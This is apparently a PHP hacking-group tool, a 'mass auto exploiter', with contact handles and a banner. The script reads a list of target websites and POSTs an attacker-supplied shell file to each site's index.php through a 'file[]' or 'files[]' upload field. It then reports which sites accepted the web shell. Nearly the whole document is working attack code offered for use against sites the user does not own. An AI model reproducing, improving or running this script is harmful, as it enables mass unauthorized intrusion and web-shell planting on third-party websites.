Auto Exploiter All File[] & Files[]

<?php
# ShinChan - N45HT - N45HT.WEB.ID
# fb.com/angelia.put - fb.com/ShinChan.admin - fb.com/N45HTOfficial - fb.com/groups/N45HTOfficial
# shinchan0x1945@gmail.com

# your list.txt must a single directory with this exploiter #

echo "
  ___  _  _  __  _  _  __  _  _   __   _  _     _    _  ____  ___
 / __)( )( )(  )( \( )/ _)( )( ) (  ) ( \( )   ( \/\/ )(_  _)(  _)
 \__ \ )__(  )(  )  (( (_  )__(  /__\  )  (  ___\    /   )(   ) _)
 (___/(_)(_)(__)(_)\_)\__)(_)(_)(_)(_)(_)\_)(___)\/\/   (__) (_)
    Mass Auto Exploiter file[] & files[] - coded by ShinChan

        Thanks to :  PETR03X - Mr.x0x - KillMe - IchiOcha
                        All Members N45HT


";
echo " Enter your list target name : ";
$list = trim(fgets(STDIN));
echo " Enter post file name (file[] or files[]) : ";
$filename = trim(fgets(STDIN));
echo " Enter your shell name : ";
$shell = trim(fgets(STDIN));

echo "\n";

$buka = fopen("$list","r");
$size = filesize("$list");
$baca = fread($buka,$size);
$sites = explode("\r\n", $baca);
foreach($sites as $site){
    if(!preg_match("/^http:\/\//", $site) AND !preg_match("/^https:\/\//", $site)){
        $vuln = "http://".$site;
    }else{
        $vuln = $site;
    }
    echo "Exploiting ".$vuln;
    $site = "$vuln/index.php";

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $site);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, array("$filename" => "@$shell"));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    $hajar = curl_exec($ch);

    if(preg_match("/$shell/i", $hajar)){
        $save = "Success! $vuln/files/$shell";
        echo "\n$save\n\n";
    }else{
        echo " This site is not Vulnerable!\n\n";
    }
    curl_close($ch);
}
?>